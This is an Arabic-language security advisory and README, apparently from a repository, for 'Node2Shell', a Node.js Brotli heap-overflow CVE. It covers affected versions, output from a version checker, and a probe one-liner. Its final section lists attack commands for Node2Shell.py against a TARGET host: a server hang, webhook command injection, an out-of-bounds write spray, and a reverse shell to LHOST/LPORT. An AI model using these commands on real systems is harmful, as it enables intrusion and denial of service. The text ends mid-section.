
مجموعة أدوات استشارية وإثبات مفهوم لـ CVE-2026-111497 (Node2Shell)، وهو تجاوز سعة كومة Brotli في Node.js، مع نصوص برمجية للتشغيل، وأداة فحص الإصدار، وإرشادات المعالجة.
Node2Shell
استشارة أمنية شاملة وتحليل تقني ودليل معالجة لـ CVE-2026-111497
أُعلن في أكتوبر 2026 عن Node2Shell (CVE-2026-111497)، وهي ثغرة أمنية حرجة تؤثر على مكوّن فك ضغط Brotli الأصلي المضمّن مباشرةً داخل الملف التنفيذي لبيئة تشغيل Node.js.
تسمح هذه الثغرة للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية أو إسقاط التطبيق عبر إرسال تدفقات بايتات مضغوطة بـ Brotli مصممة خصيصًا ومشوّهة إلى أي تطبيق Node.js يعالج مدخلات مضغوطة (مثل محلّلات أجسام طلبات HTTP، أو استدعاءات fetch() الأصلية، أو تدفقات WebSocket).
⚠️ ملاحظة حرجة: نظرًا لأن التعليمات البرمجية المصابة تقع داخل
deps/brotliالمُجمّعة داخل الملف التنفيذي لـ Node.js نفسه، فإن تحديث تبعياتnpmفي مساحة المستخدم لن يخفف من هذه الثغرة. يجب تحديث وقت تشغيل الملف التنفيذي لـ Node.js.
deps/brotli).Content-Encoding: br).fetch() الأصلية للردود الآلية من نقاط نهاية خارجية غير موثوقة تقدّم محتوى مضغوطًا.zlib.createBrotliDecompress().| خط إصدار Node.js | الحالة | الإصدار المُصلَّح | الإجراء المطلوب |
|---|---|---|---|
| Node.js 26.x | ⚠️ معرّض للثغرة | >= 26.12.1 | الترقية فورًا |
| Node.js 24.x | ⚠️ معرّض للثغرة | >= 24.22.1 | الترقية فورًا |
| Node.js 22.x (LTS) | ⚠️ معرّض للثغرة | >= 22.23.4 | الترقية فورًا |
| Node.js 20.x والإصدارات الأقدم | ❌ EOL | لا يوجد | الترحيل فورًا إلى إصدار LTS مدعوم |
🚨 تنبيه EOL: وصل Node.js 20 إلى نهاية العمر الافتراضي (EOL) في أبريل 2026. لا تتوفر التحديثات الأمنية الرسمية للإصدارات التي وصلت إلى EOL.
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder
───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder
───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder
Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.
يمكنك أيضًا تشغيل هذا الأمر ذي السطر الواحد:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
-17 → مُرقَّعmissing → قابل للاستغلالهذا هو الفحص نفسه الذي يستخدمه السكربت.
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000
# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data
# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT
للتحقق مما إذا كان نظامك أو الحاويات قيد التشغيل تنفّذ إصدارًا مصابًا من Node.js، شغّل الأوامر التالية: